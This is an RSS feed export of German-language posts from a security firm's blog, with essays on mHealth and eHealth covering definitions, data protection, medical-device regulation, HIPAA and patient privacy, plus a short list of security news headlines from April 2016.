scip AG Labs http://www.scip.ch/ Entwicklungen aus den scip Labs de Fri, 06 May 2016 15:00:00 +0200 60 Saturday Sunday 0 1 2 3 4 5 6 20 21 22 23 (c) 2002-2016 by scip AG scip AG Labs http://www.scip.ch/_thm/rss-icon.png http://www.scip.ch/ mHealth - Mobile Möglichkeiten http://www.scip.ch/?labs.20160504 http://www.scip.ch/?labs.20160504 Wed, 04 May 2016 00:00:00 +0200 Flavio Gerbino Ohne jeden Zweifel überwiegt die Gesundheit alle äusseren Güter. Ihr Stellenwert wird, angetrieben durch den gesellschaftlichen Anspruch auf eine gesteigerte Leistungsfähigkeit bis ins hohe Alter, in Zukunft vermutlich sogar noch zunehmen. Nun ergeben sich, dank der Innovation in der Digitalisierung und deren Verschmelzung mit der Medizin, auch immer weitere Möglichkeiten, unsere Gesundheit zu erhalten und zu verbessern. Durch mobile Geräte (z.B. Smartphones, Wearables) und Internet, werden uns sukzessive die Möglichkeiten eröffnet selbst Diagnosen zu stellen und uns irgendeinmal selber eine geeignete Behandlung zu verschreiben.

Einführung

Schon heute können wir unseren Organismus mit Hilfe von Mobile Devices und Mobile Health Applications in Echtzeit vermessen und überprüfen. Zukunftsgläubige sehen in dieser Entwicklung schon jetzt das Potential, um die Effizienz und Qualität des Gesundheitswesens in Zukunft substantiell zu verbessern.

Diese Entwicklung konnte nur dadurch entstehen, da unsere vorangegangene Interaktion mit digitalen Geräten – besonders mobilen Geräten – in den letzten Jahrzenten, durch eine sukzessive intensiver werdende Intimität geprägt war.

Der Philosoph Tom Chatfield beschreibt dies in seinem Buch Wie man im digitalen Zeitalter richtig aufblüht folgendermassen:

Meiner Ansicht nach bewegen wir uns von einer nur persönlichen Gerätenutzung hin zu etwas, das man als intime Gerätenutzung bezeichnen könnte, eine vollkommen neue Stufe der Verschmelzung digitaler Technologien mit unserem Leben. In Cafés und Wohnzimmern werden persönliche digitale Geräte so liebevoll und häufig gebraucht, dass man fast meinen könnte, die Benutzer sähen darin einen Partner oder ein Haustier. Für die Generation der Digital Natives sind Mobile Devices oft das Erste, was sie morgens nach dem Aufwachen berühren, und abends vor dem Zubettgehen das Letzte.

Er schliesst daraus:

Wenn wir auf bestmögliche Weise mit der Technologie leben wollen, müssen wir erkennen, dass nicht das von uns genutzte Gerät an sich von Bedeutung ist, sondern sein konkreter Gebrauch.

Es ist also kein Wunder, dass diese ausgezeichneten, multifunktionalen digitale Geräten, die innerhalb weniger Jahrzehnte im Leben von Milliarden von Menschen einen essentiellen Stellenwert eingenommen haben, durch ihre Omnipräsenz auch dazu verwendet werden können, die verschiedensten medizinischen Zwecke zu erfüllen.

Allerdings resultieren aus dieser neuartigen Anwendungsform natürlich auch diverse komplexe Fragen. Beispielsweise muss klargestellt werden, wie sensitive Gesundheitsdaten von Patienten, die mittels mobilen Geräten und Applikationen etc. ermittelt und übermittelt werden, angemessen geschützt werden können. Wie die mHealth Devices und Applikationen so abgesichert werden können, dass sie nicht manipuliert (gehackt) werden können und schlimmstenfalls das Leben von Patienten durch unsichere mobile Health Lösungen gefährdet wäre.

Weiter, wie man mit wachsenden Datenmengen umgehen wird, so dass der Datenschutz nicht untergraben wird. Darüber hinaus ist vielleicht ein zu viel an Information auch schädlich oder führt zur Desinformation und Desorientierung, indem das Wesentliche in der Menge untergeht. Auch gesundheitsrelevante Fakten werden der Herausforderung unterliegen, dass allgemein der Wahrheitsgehalt von Daten, die übers Internet transferiert werden, nicht immer einfach zu verifizieren ist.

Dies sind die Kernpunkte und Themen, die sich im Zusammenhang mit den Sicherheitsaspekten der Digitalen Innovation im Gesundheitswesen (eHealth und mHealth) für uns ergeben.

Mobile Health – mHealt Begriff

Mobile Health (mHealth) ist heute eine offensichtliche Weiterentwicklung und ein Teilgebiet von eHealth (electronic Health) und umfasst die medizinische Unterstützung des privaten und öffentlichen Gesundheitswesen mittels Einsatz mobiler digitalen Geräte und Applikationen. Diese werden im Zusammenhang mit Prävention, Diagnostik, Behandlung (Therapie), Überwachung (Kontrolle), bzw. ganz allgemein für die medizinische Intervention und Gesundheitsvorsorge, wie auch für Verfahren im Zusammenhang mit Sport, Fitness, Lifestyle, Wellness etc. eingesetzt.

mHealth subsumiert quasi den medizinischen und technischen Fortschritt unter einem Begriff. Daraus – so erhofft man sich – sollen die Methoden in der medizinischen Prävention, Diagnostik, Therapie etc. so erweitert werden, dass neue Möglichkeiten der Patientenversorgung erschlossen werden können.

Optimisten sehen im mHealth das Potential, zwei an sich diametral gegensätzliche Ziele des Gesundheitssystems gleichzeitig zu erreichen: Nämlich (1) eine zeitnahe, effizientere und hochqualifiziertere Behandlung von Patienten, bei (2) gleichzeitiger Ressourceneinsparung.

Abgrenzung des Begriffs

Es ist offensichtlich, dass das Präfix mobil im Kontext von mHealth eine tragende Rolle spielt. Dabei ist aber keineswegs die Mobilität von Patienten, Anwendern oder medizinischen Fachpersonen gemeint, sondern viel mehr die Relation der Mobilität innerhalb einer Anwendung selbst. D.h. die Charakteristik mobil ergibt sich erst aus der Interaktion mit einer wichtigen mobilen Anwendungskomponente. Dies bedeutet, dass bei weitem nicht jeder Bestandteil eines mHealt-Verfahrens zwingend mobil sein muss; und im Umkehrschluss darf auch nicht jede zufällige, mobile Komponente mit medizinischem Kontext per se als mHealt-Lösung eingestuft werden.

Offizielle Definition der WHO und EU

Die gängige Definition der WHO aus dem Jahre 2011, wie sie auch die Europäische Union (EU) verwendet, lautet folgendermassen (Quelle):

Der Begriff Mobile Health (mHealth) beschreibt medizinische Verfahren sowie Massnahmen der privaten und öffentlichen Gesundheitsfürsorge, die durch Mobilgeräte wie Mobiltelefone, Patientenüberwachungsgeräte, persönliche digitale Assistenten (PDA) und andere drahtlos angebundene Geräte unterstützt werden.

Auch aus der WHO Definition ist ersichtlich, dass keine strenge Unterscheidung gemacht wird, zwischen professionellen mobile Healthcare Anwendung/Verfahren und solchen, die eher zum Lifestyle-, Wellness- bzw. Fitness-Segment gehören: Quantified Self Bewegung, oder auch Oberservations of Daily Living (ODL).

Es liegt also auf der Hand, dass mit mHealth nicht nur wichtige medizinische Möglichkeiten der Gesundheitsförderung und der modernen Medizinalversorgung erschlossen werden sollen, sondern dass das Potential auch dahingehend genutzt werden soll, um bei Anwendern und Patienten eine selbstverantwortlichen, sensibilisierten Blick auf ihre eigene Gesundheit zu wecken und dadurch insgesamt ihre Gesundheitskompotenz zu stärken, mit dem Ziel allgemeiner Prävention, Gesundheitserhaltung bzw. -verbesserung und Lebensqualitäterhöhung.

Die EU beschreibt dies in Ihrem Green Paper on mobile Health wie folgt:

Aufgeklärte Mitwirkung der Patienten: Mobile-Health-Lösungen unterstützen den Wandel von einer eher passiven Rolle der Patienten zu einer stärker partizipativen Rolle und geben ihnen mehr Verantwortung für ihre eigene Gesundheit.

Eigenschaften von mHealth

Betrachtet man nun diese medizinische Verfahren, die mittels mobiler digitaler Geräte angeboten werden, so geht es im Kern immer darum, anhand von mHealt mit mobilen technischen Mitteln medizinische und physiologische Vitalwerte, sowie Umgebungsvariablen (z.B. Luftqualität, GPS-Position, etc.) und Aktivitätsdaten aller Art zu ermitteln, messen, aufzeichnen, oder übertragen etc. Dazu gehören z.B. Herzfrequenz, Puls, Temperatur, Blutdruck, Blutzuckerspiegel, Hirnaktivität. Die gemessenen Daten werden nun herangezogen, um die medizinischen Praktiken zu unterstützen und sowohl dem Patienten, wie auch Ärzten, Therapeuten, Fachpersonen und anderen involvierten Akteuren effizientere und möglichst zeitnahe Praxisprozesse zu ermöglichen. Der Vorteil liegt dabei besonders darin, dass diese mobile Art der medizinischen Fürsorge quasi losgelöst von Ort und Zeit (also asynchron) angeboten und genutzt werden kann.

Dabei können bereits einige wichtige Aspekte bzw. Unterscheidungsmerkmale differenziert werden:

Art der Geräte
  1. Smartphones, Tablets, Wearables, Smartwatches, Fitnesstrackers
  2. allgemeine IoT (Internet of Things) fähige Devices
  3. spezifischere mobile medizinische Geräte sowie medizinische Implantate
Mess- & Kommunikationsmethoden
  1. WLAN, Mobile Networks (4g, LTE, etc.) Bluethooth, RFID, SMS, E-Mail etc.
  2. spezifischere Technologien, wie Wireless Body Area Networks (WBANs) oder auch Wireless Sensor Networks (WSN), die im Zusammenhang mit mHealth auftreten
  3. Intelligent Wireless Sensors ein enorm wichtiges Thema: Als populäre Beispiele hierfür gelten Galvanic Skin Response (GSR) oder auch die lichtempfindlichen Fotodioden, die mit Hilfe von Infrarot-LEDs eine Herzfrequenzmessung ermöglichen
Einsatzzweck
  1. Wellness / Fitness mHealth-Verfahren ohne direkte medizinische Erfordernisse, d.h. meist aus persönlichem Interesse, Sport, Fitness Training, Selbstoptimierung Self-tracking, (digitale Vermessung des Ichs)
  2. Medizinische Indikation gegeben: Fachliches mHealth-Verfahren mit verschriebenem medizinischem Zweck und von einer medizinischer Fachperson beraten. Für die Diagnose, Therapie, Überwachung, Intervention bei chronischen bzw. akuten Erkrankungen von Patienten.
  3. Organisatorischer- und Administrativer Einsatz von mHealts-Möglichkeiten für Fachpersonen zur Unterstützung bestehender eHealth-Prozesse im Zusammenhang mit dem Management von Praxen, Klinken, Spitälern etc. Aus der Sicht des Patienten bzw. Anwenders auch für triviale Aufgaben, wie mobile Termin-, Untersuchungs- und Medikationserinnerungen, Überweisungen an Fachspezialisten, so wie auch Terminvereinbarungen, etc.

Herausforderungen, Aktuelle Diskussionen

Es dürfte klar sein, dass die Anwendung von mHealth, vor allem jenseits der Lifestyle/Fitness Möglichkeiten, hohe Sicherheitsanforderungen stellt, die besonders auf Seiten des Datenschutzes mit allen Akteuren im Gesundheitswesen, aber auch mit den Bürgern und Patienten erkannt, diskutiert, kommuniziert und vereinbart werden müssen.

  • Datenschutz und Informationssicherheit von Gesundheitsdaten
  • Inkl. Massendatenverarbeitung (Big Data)
  • Medizinische Definition mHealth (Abgrenzung Fitness/Wellness Anwendungen)
  • Integration mHealth in eHealth (z.B. elektronisches Patientendossier ePD)
  • Interoperabilität, Internationale Kompatibilität, etc.
  • Vergütung und Erstattung
  • Haftung
  • Patientensicherheit, Transparenz der Informationen (Zertifizierungen)
  • Chancengleichheit, Solidaritätsprinzip mHealth
  • technische Sicherheit und Safety der eingesetzten mobile Devices und Applikationen (in diesem Artikel nicht thematisiert)

Wir hinken der Realität noch hinterher

Eines der grössten Risiken ist, dass man nur die fantastischen Möglichkeiten betrachtet und es versäumt, auch die vielen Stolpersteine und Hürden der mHealth Technologie als Ganzes – d.h. rechtlich, medizinisch, technisch, sozio-ökonomische, kulturelle und ethisch – zu registrieren. Schon der Umstand, dass durch die Anwendungen von mHealth Apps irreversible digitale Spuren hinterlassen werden, wirft in punkto Privatsphäre, Datenschutz, Informationssicherheit rechtliche, technische wie auch ethische Fragen auf. Bei der Beantwortung dieser Fragen hinken wir der technischen Realität hinterher.

Es ist, wenn man so will, auch eine äusserst politische Frage, die darin kulminiert, welche Bedeutung Privatsphäre im Zusammenhang mit eHealth und mHealth für uns haben soll, und welche Rechte wir bezüglich unserer Gesundheitsdaten noch haben, wenn wir sie grosszügig und massenhaft durch das Internet kommunizieren und z.B. in unterschiedlichsten Clouds speichern. Dabei sollte allen klar sein, dass auch in der digitalen Sphäre, ob nun als Bürger oder Patient, allen jederzeit die volle Kontrolle, Hoheit und das Bestimmungsrecht über die eigenen Daten zusteht. Dieses Prinzip muss kategorisch sichergestellt bzw. gewährleistet werden.

Der Philosoph Byung-Chul Han weist in seinem digitalpessimistischen Buch Im Schwarm von 2013 unter der Rubrik die Totalprotokollierung des Lebens unter anderem auf die Problematik solcher Technologien hin, wie sie sich auch bei mHealth manifestieren könnte:

So ist es möglich, jedes Ding im Alltag mit einer Internetadresse zu versehen. [z.B.] RFID-Chips (Radio Frequenz Identifikation) machen die Dinge selbst zu aktiven Sendern und Akteuren der Kommunikation, die selbstständig Informationen senden und miteinander kommunizieren. Dieses Internet der Dinge vollendet die Kontrollgesellschaft. Dinge, die uns umgeben, beobachten uns. Überwacht werden wir dadurch nun auch von den Dingen, die wir tagtäglich gebrauchen. Sie senden pausenlos Informationen über unser Tun und Lassen. Sie wirken aktiv mit an der Totalprotokollierung unseres Lebens.

Regulierung für Hersteller und Entwickler mHealth

Auch die mHealth App-Entwickler und Hersteller selbst stehen in der Pflicht. Denn gemäss einem vielzitierten Artikel aus der Financial Times übermittelten im 2013 an 50% der sogenannten Gesundheits-Apps Daten an Unternehmen mit globaler, marktbeherrschender Stellung. Im 2014 zählte die EU in ihrem mHealth Factsheet rund 100’000 mHealth Apps (Quellen: EU, Financial Times).

Es stellt sich also auch die Frage, wo und wie die Grenze zwischen Lifestyle/Ftiness und echten mHealth Diensten bzw. Gesundheitsapps gezogen werden kann. Wenn die Grenzen zwischen ärztlich, medizinischer Behandlung und Lifestyle – Selbstoptimierung verwässern, kann der Anwender unmöglich unterscheiden, in welchem Fall eine App als Medizinalprodukt einzustufen ist und wann eben nicht. Diese Unschärfe würde auch das nötige Vertrauen seriöser strikt medizininscher mHealth Anwendungen untergraben. Ohne das Vertrauen der Verbraucher in die jeweiligen mHealth Lösungen, ist aber jede mHealth Gesundheitsapp zum Scheitern verurteilt.

Im Lifestyle/Fitness Bereich mögen die Anforderungen an die Informationssicherheit und Datenzuverlässigkeit von mobilen Gesundheits Apps ja noch verhandelbar sein: Da liesse sich von Fall zu Fall auch mal ein Auge zudrücken. Doch für medizinische Zwecke sollte allen Beteiligten und natürlich auch den Entwicklern solcher Apps, ganz klar sein, dass andere, wesentlich strengere Voraussetzungen gelten müssen, wenn es um sensitive Patientendaten geht. Die Frage lautet also, unter welchen Bedingungen ist eine mHealth-Anwendung ein Medizinprodukt? Denn dann gilt es ernst.

Ab wann ist mHealth ein Medizinprodukt

Der Begriff Medizinprodukt, wie er bis anhin verwendet wurde, erhält unter dem Blickwinkel von mHealth bisher unberücksichtigte Definitions-Aspekte, Dimensionen, Konnotationen, denen in den heutigen Gesetzen und Verordnungen noch nicht genügend Rechnung getragen wird. Für die Schweiz sind dies:

In den USA z.B. hat die US Food and Drug Administration (FDA) Richtlinien in Form von Mobile Medical Guidance Documents erlassen, um Kriterien für eine klare Unterscheidung zwischen Medizinprodukten und Lifestyle-Anwendungen zu ermöglichen. Diese Regularien dienen der Zulassung von Gesundheitsapps und definieren die Mindestanforderungen und Kriterien, welche eine mHealth-Apps zu erfüllen hat, damit sie als Medizinprodukt eingesetzt werden kann.

Damit soll auch die gängige Praxis unterbunden werden, dass Entwickler von kostengünstigen oder Free-Apps im Zusammenhang mit mHealth (heute vermeintlich im Fitness und Wellness-Bereich angesiedelt) damit Geld verdienen, dass sie Daten verkaufen, oder analysieren, um individualisierte Werbungen zu generieren. Der Anwender weiss meist nichts von dieser Datennutzung.

Fazit

Die technologische Stosskraft von mHealth ist energisch, ihre Verfechter sind eifrig und engagiert. Dennoch sehen wir, dass die grossflächige Einführung von digitalen Innovationen im Gesundheitswesen oft träge und schleichend geschieht (so z.B. auch die Einführung des elektronischen Patientendossiers). Friktionen ergeben sich primär an den Schnittstellen, wo Aufwand und Nutzen von Lösungen und die vorauszusetzenden strukturellen Änderungen der verschiedenen Bereiche und der Akteure des Gesundheitswesens ungenügend geklärt wurden. Auch hier gilt nämlich, dass nebst der Erbringung der rein technischen Lösung zuerst einmal bisher nicht integrierte Versorgungsstrukturen und Prozesse aufeinander abgestimmt und aufgebaut werden müssen. Es geht auch bei mHealth primär um eine ganzheitliche Optimierung von Prozessen.

Es liegt auf der Hand, dass ein wirksamer Datenschutz und eine angemessene Informationssicherheit das evidente Fundament von mHealth Anwendungen bilden müssen. Der Datenschutz kann nur wirkungsvoll sein, wenn er auch die Technik dazu nutzt, die durch die Digitalisierung erzeugten Datenverarbeitunsprozesse von mHealth so zu schützen, dass die Technik den rechtlichen Rahmen nicht verlassen kann. Dazu benötigt man nicht nur Innovation der mHealth Lösungen per se, sondern auch Anstrengungen in Richtung technischer Innovation der Informationssicherheit (Privacy by Design, Privacy by Default).

Der durch mHealth sukzessive zunehmende Informationstransfer von sensitiven Daten im Gesundheitswesen wird auch das Risiko bergen, dass schlimmstenfalls das informationelle Selbstbestimmungsrecht des Patienten beeinträchtig werden könnte. Bei der Erarbeitung der komplexen eHealth und mHealth Verfahren müssen daher die rechtlichen Voraussetzungen und die Anforderungen an die Informationssicherheit und Technik beim gesamten Lifecycle der Daten, von der Erhebung, Verarbeitung, Nutzung, bis hin zur Speicherung und Löschung mit grosser Sorgfalt mitberücksichtigt werden. Dabei müssen die rechtlichen Grundsätze des Datenschutzes, wie auch das Recht auf informationelle Selbstbestimmung gewahrt werden und zwar vollkommen unabhängig davon, auf welche Art und Weise und durch welche mHealth-Lösung die Daten verarbeitet werden.

Die Herausforderungen und zahreichen Aspekten der Patientensicherheit (Safety) im Umgang mit solchen mHealth relevanten mobile Devices und Applikationen, auf die in diesem Artikel kaum eingegangen wird, bilden einen eigenen bedeutenden Themenkreis, der in Anlehnung an die Sicherheit von Medizingeräten im Allgemeinen so bald wie möglich ebenfalls verstärkt thematisiert und diskutiert werden sollte.

Ein weiteres Risiko jenseits des Datenschutzes und der Informationssicherheit sollte an dieser Stelle noch erwähnt werden: Nämlich, dass Durch den erwähnten Fokus von mHealth auf technologische Innovationen und deren Durchdringung der medizinischen Verfahren sich auch das Risiko und die latente Angst einer Entmenschlichung der Medizin einschleicht und erhöht – und dies bei gleichzeitiger Überforderung der meisten Menschen. Denn die Kommunikation zwischen Arzt und Patient wird sich durch diesen Trend sicherlich auch verändern. So könnte man sich denken, dass der klassische Praxisbesuch teiweise verdrängt wird (in entfernter Analogie an die Finanzbranche, wo man als Kunde auch nur noch selten, nur für besondere Erfordernisse an den Bankschalter geht und sonst alles digital abwickelt) durch eine rund um die Uhr Möglichkeit des Austausches von mHealth Informationen via mobile Apps, SMS, Text, Photos etc. mit dem zusätzlichen Risiko, dass Ärzte regelrecht mit digitaler Kommunikation überschwemmt werden könnten.

Das EU – Green Book on mobile Health schreibt dazu folgendes

Dabei sollen Mobile-Health-Dienste keineswegs die Angehörigen der Gesundheitsberufe ersetzen, deren Arbeit für die Gesundheitsversorgung weiterhin entscheidend ist, sie werden vielmehr als unterstützendes Werkzeug für die Verwaltung und Erbringung von Gesundheitsfürsorgeleistungen betrachtet.

Und weiter:

Mobile-Health-Dienste haben das Potenzial, bei der Veränderung unseres Lebens zum Besseren eine Schlüsselrolle zu spielen. Es muss jedoch sichergestellt sein, dass die verwendete Technik sicher ist und von den Bürgern auch sicher genutzt werden kann.

Quellen

Tom Chatfield: Wie man im digitalen Zeitalter richtig aufblueht. 2012
Kailash Verlag – Verlagsgruppe Random House – Bertelsmann
ISBN 978-3-641-08841-5

Byung-Chul Han: Im Schwarm. 2013
MSB Matthes & Seitz Berlin
ISBN 978-3-88221-037-8

]]>
Blog Digest April 2016 http://www.scip.ch/?labs.20160428 http://www.scip.ch/?labs.20160428 Thu, 28 Apr 2016 00:00:00 +0200 Marc Ruef
  • 10 Steps for Protecting Yourself From Ransomware (blog.fortinet.com)
  • Bangladesh Bank hackers compromised SWIFT software, warning issued (reuters.com)
  • Cyclist banned for six years after racing with a hidden motor (engadget.com)
  • Empty DDoS Threats: Meet the Armada Collective (blog.cloudflare.com)
  • German nuclear plant infected with computer viruses, operator says (reuters.com)
  • Got a Hot Seller on Amazon? Prepare for E-Tailer to Make One Too (bloomberg.com)
  • Hacking Your Phone (cbsnews.com)
  • How iMessage distributes security to block ‘phantom devices’ (securosis.com)
  • No, Internet should be capitalized (blog.erratasec.com)
  • On distracted driving and required phone searches (freedom-to-tinker.com)
  • OSVDB: FIN (blog.osvdb.org)
  • Panama Papers – 6 Security Takeaways (bankinfosecurity.com)
  • Should you store your data in the cloud? (blog.malwarebytes.org)
  • The Untold Story of Magic Leap, the World’s Most Secretive Startup (wired.com)
  • These unlucky people have names that break computers (bbc.com)
  • This Massive VPN Comparison Spreadsheet Helps You Choose the Best for You (lifehacker.com)
  • Ubuntu on Windows – The Ubuntu Userspace for Windows Developers (blog.dustinkirkland.com)
  • Welcome to the Virtual Age (oculus.com)
  • ]]>
    eHealth - Elektronische Gesundheitsdienste http://www.scip.ch/?labs.20160421 http://www.scip.ch/?labs.20160421 Thu, 21 Apr 2016 00:00:00 +0200 Flavio Gerbino Es ist unübersehbar, dass das Gesundheitswesen zunehmend digitalisiert wird. Der Sammelbegriff eHealth ist in den Medien omnipräsent. Darunter werden alle digital- und Informationstechnologien subsumiert, die das Gesundheitswesen tangieren. Dabei können eine Vielzahl von Prozessen, Diensten, Hilfsmittel gemeint sein, die sich der Informationstechnologie bedienen, um die Aufgaben des Gesundheitswesens zu gestalten und unterstützen. Diese Digitalisierungsbestrebungen scheinen alle unter dem Label eHealth stattzufinden.

    Mit eHealth werden also diverse Ziele angestrebt: Das Koordinationsorgan des Bundes eHealth Suisse verwendet dafür den Slogan: Meine Gesundheitsinfos. Zur richtigen Zeit am richtigen Ort. und meint damit generell auch eine Steigerung der Effizienz, eine Verbesserung der Qualität, eine Erhöhung der Sicherheit und die Förderung der Wirtschaftlichkeit bestehender Gesundheitsdienst-Prozesse. Dabei soll die Technik – wie oft missverstanden – eben nicht im Vordergrund stehen. Die Informationssicherheit und der Datenschutz sollen die höchste Priorität geniessen.

    Die technischen Innovationen sollen zwar die existierenden Prozesse und Strukturen durch elektronisches Abbilden unterstützen und stärken. Doch eHealth wird auch als substantieller Treiber für generelle Erwägungen, Optimierungen und Neuerungen innerhalb des Gefüges des Gesundheitswesens positioniert und etabliert.

    Etwas konkreter sollen die Chancen für eine Verbesserung in folgenden Aspekten des Gesundheitswesens genutzt werden:

    • Einheitliche technische Basis: Für Organisation und Kommunikation der Gesundheitsdienste
    • Schnell im Notfall: Die richtige schnelle Information schafft im Notfall Vorteile
    • Sichere Behandlung: Fehlerminimierung in Stresssituationen
    • Weniger Bürokratie: Effizientere Verwaltung & Administration (weniger Formulare)
    • Mehr Rechte und Selbstbestimmung: elektronisches Patientendossier (Wahrung der Patientenrechte und Datenschutz)
    • Kosteneinsparungen: Ökonomisches Potenzial (z.B. vertrauenswürdige Online Gesundheitsberatung)
    • Stabilisierung der Kosten: Betrift alle aufgelisteten Ziele

    Die Umsetzungsaktivitäten dieser Handlungsfelder sollen die wesentlichen organisatorischen, normativen und technischen Grundlagen schaffen, welche für die Entwicklung von eHealth zentral sind. Es sind dies:

    • Nationales Koordinationsorgan
    • Rechtliche Grundlagen
    • eHealth-Architektur
    • Standardisierung der Patientendaten und Interoperabilität
    • Infrastruktur zur sicheren Identifikation und Authentifikation von Patienten sowie Leistungserbringern
    • Qualitätskriterien für Gesundheitsinformationen und Gesundheitsdienste

    Dabei handelt es sich nicht nur um Visionen und Strategien, sondern um rasch voranschreitende Tatsachen. Denn das Parlament hat das Bundesgesetz über das elektronische Patientendossier (EPDG) am 19. Juni 2015 verabschiedet. Das Gesetz soll 2017 in Kraft treten und neuen Möglichkeiten für elektronische Gesundheitsdienste den Weg bereiten:

    • Elektronische Patientendossiers mit zeit- und ortsunabhängigen Zugriffsmöglichkeiten
    • Online-Dienste mit qualitativ hoch stehenden Gesundheitsinformationen zur Förderung der persönlichen Gesundheitskompetenz
    • Telemedizin und Telemonitoring zur medizinischen Beratung und Behandlung auf Distanz (eDoktor, mHealth = mobile Health)

    Nachholbedarf und Analogien zum Finanzbereich

    Wenn auch viel später als beispielsweise im Finanzsektor, findet nun also auch im Gesundheitswesen eine massive, explosionsartige Erweiterung und Durchdringung durch die Digitalisierung statt.

    Extrem vereinfacht könnte man die Analogie der Entwicklung im Finanzsektor heranziehen. Analoge Ansätze wurden digitalisiert, auf mobile Plattformen gebracht und weitestgehend automatisiert.

    Analog Digital Mobil Automatisiert
    Anloges Banking eBanking Mobile Banking (mBanking) Fintech
    Analoges Gesundheitswesen eHealth Mobile Health (mHealth) Health-tech (Vision)

    Der Unterschied ist vor allem aus der Risikoperspektive deutlich ersichtlich, geht es im Finanzbereich lapidar gesprochen primär nur um Geldverluste, stehen beim Gesundheitswesen im extremen Risikofall Menschenleben auf dem Spiel. Diese Tatsache sollte bei Überlegungen um eHealth stets berücksichtigt werden.

    Es liegt auf der Hand, dass das Gesundheitswesen in punkto Digitalisierung in den medizinischen, ärztlichen und gesundheitsadministrativen Bereichen einen erheblichen Nachholbedarf hat. Denn es bestehen bei der Vernetzung eines sensitiven und komplexen Bereiches wie das des Gesundheitswesens eben auch erhebliche Risiken. Vor allem wenn die digitale Nutzung in alle Richtungen – sowohl näher hin zum Patienten, als auch näher hin zu den Ärzten, Fachspezialisten und dem gesundheitspersonal im allgemeinen erweitert und intensiviert – wird.

    Paradigmenwechsel, Akzeptanz

    Dabei dürfen die vielfältigen komplexen Probleme und Risiken, die durch diese Annäherung von IT und Medizin impliziert werden, nicht vernachlässigt werden. Es bedarf eines umfassenden Paradigmenwechsels aller Akteure. Sowohl Spitäler, Kliniken, Arztpraxen, die Verwaltungen im Gesundheitswesen, aber auch Ärzte und Patienten müssen die neuen Voraussetzungen akzeptieren, deren Potential und Nutzen erkennen, um daraus einen Mehrwert und übergeordneten Sinn für sich und die Gesellschaft zu generieren.

    Dabei müssen auch Fragen bezüglich der Mindestanforderungen an einen Sicherheitsstandard kategorisch behandelt werden. Und dabei darf nicht übersehen werden, dass es letztendlich um Menschen geht. D.h. die Implementierung neuer technischer Systeme allein, wird nicht viel bringen, ohne sich zuerst Klarheit über die hohen Sicherheitsanforderungen Angesichts des sensiblen Charakters von Gesundheitsdaten zu verschaffen.

    Die Technik sollte den Prozessen folgen. Es ist wichtig, vorgängig die Gesamtprozesse abzubilden und in Fachspezifikationen klar zu definieren und damit auch einen öffentlichen Diskurs anzuregen.

    Informationsschutz und Datenschutz

    Dabei spielt auch der Datenschutz eine eminent wichtige Rolle, wenn es um die sensitiven Gesundheitsdaten von Patienten in digitaler Form geht. Denn durch die erweiterte Verfügbarkeit der Patientendaten ist klar, dass kategorisch sichergestellt sein muss, dass alle involvierten Gesundheitsfachleute und Parteien mit Zugriff auf elektronische Patientendaten, die gleich strengen Regeln des ärztlichen Berufsgeheimnisses und Datenschutzes einhalten müssen.

    Das elementare Problem liegt auf der Hand, dass je mehr Personen von sensitiven, vertraulichen Daten wissen, desto unsicherer und schwieriger wird auch deren Geheimhaltung. Die Rechte des Patienten bezüglich seiner Gesundheitsdaten müssen rigoros sichergestellt werden können. Dabei sehen Datenschützer und Experten vielfältige Risiken und Herausforderungen. Datenschutzverletzungen können stattfinden durch (Swiss eHealth Forum, Referat Dr. med. Georg Sasse):

    • Klinisches Personal
    • Patienten
    • IT-Verantwortliche
    • Verwaltung (Mitarbeiter und Patienten)
    • Forschungsaktivitäten (Patientengruppen)
    • Externe Supportdienste
    • Angriffe Dritter (Datenbanken, Big Data, Profiling, Data Mining etc.)
    • Technologische Implikationen (unsicheres Cloud-Computing, Mobile Devices, etc.)

    Beobachtet wird dabei auch, dass Mitarbeiter in Spitälern in punkto Datenschutzverletzungen sowohl die häufigsten Täter wie auch die häufigsten Opfer sind.

    Wir sehen, dass die Informationsprozesse zwischen Patienten, Hausarzt, Klinken, Spitälern, Labor und Apotheken, etc. nicht immer reibungsfrei und effizient ablaufen. Dies birgt das Risiko, dass sich medizinische Fehler einschleichen und es zu unnötigen Mehrfachbehandlungen kommen kann.

    Durch die Komplexität der Abläufe im Gesundheitswesen, wächst auch die Menge der Informationen über Patienten und die Anzahl der Fachleute und Stellen, die für eine effiziente Behandlung Zugriff auf diese Daten benötigen. Das elektronische Patientendossier soll diese Effizienzverluste kompensieren und die nötigen Zugriffe rationell ermöglichen.

    Ein wichtiger Punkt ist, dass der Patient selbst entscheiden kann, ob er ein elektronisches Patientendossier will. Der Patient wird auch bestimmen können, wer in welchem Ausmass Zugriff und Einblick erhalten soll. Da es sich um besonders sensible Daten handelt, sollen weder Arbeitgeber noch Krankenkassen auf diese Daten zugreifen können. Um Patienten und behandelnde Ärzte eindeutig identifizieren zu können, wird eine neue Identifikationsnummer eingeführt.

    Das elektronische Patientendossier hat das Potential, um die Qualität, Sicherheit und Effizienz von Behandlungen zu verbessern. Es handelt sich bei dieser Einführung um eine zeigemässe Notwendigkeit. Doch der Datenschutz muss rundum gesichert werden. Der Patient soll jederzeit die Herrschaft über seine Daten behalten.

    Exkurs HIPAA

    Beispielsweise in den USA sind Vorstösse zum Datenschutz verschiedentlich als Konsequenz auf vorangegangene Datenschutzvorfälle entstanden. Ein umfassendes, übergeordnetes Bundesgesetz zum Datenschutz gibt es eigentlich nicht. Dementsprechend fehlt eine Regelug, wie Unternehmen und Organisationen die Nutzung, Speicherung, Verarbeitung etc. von persönlichen Daten ausgestallten müssen, und welche Schutzvorkehrungen zu treffen sind.

    Vielmehr existieren einzelne Sammlungen verschiedener Gesetze, Regularien bzw. Standards, sowohl auf Bundes- wie auch auf US-Bundesstaaten Ebene. Als ein bekanntes Beispiel einer solchen Regelung im Gesundheitssektor ist der HIPAA-Standard anzusehen.

    HIPAA, steht für den U.S. Health Insurance Portability and Accountability Act und schreibt vor, dass alle Unternehmen im Gesundheitswesen strenge Vorgaben einhalten müssen, die darauf abzielen, den Schutz der Patientendaten zu gewährleisten. Die HIPAA-Vorschriften haben einen breiten Geltungsbereich, der sich von den Krankenkassen, zu den Verrechnungsstellen bis hin zu allen Gesundheitsdienstleistern erstreckt. Er betrifft somit alle Entitäten, die in Kontakt mit Patienteninformationen kommen.

    Unternehmen bzw. Organisationen die HIPAA unterliegen, dürfen nur mit der expliziten Einwilligung der Patienten von den Richtlinien abweichen. HIPAA schreibt den betroffenen Entitäten vor, adäquate Vorkehrungen zu treffen, um Patienten-Informationen vor absehbaren Bedrohungen und Risiken, sowie vor unbefugtem Zugriff, unbefugter Verwendung oder Offenlegung zu schützen.

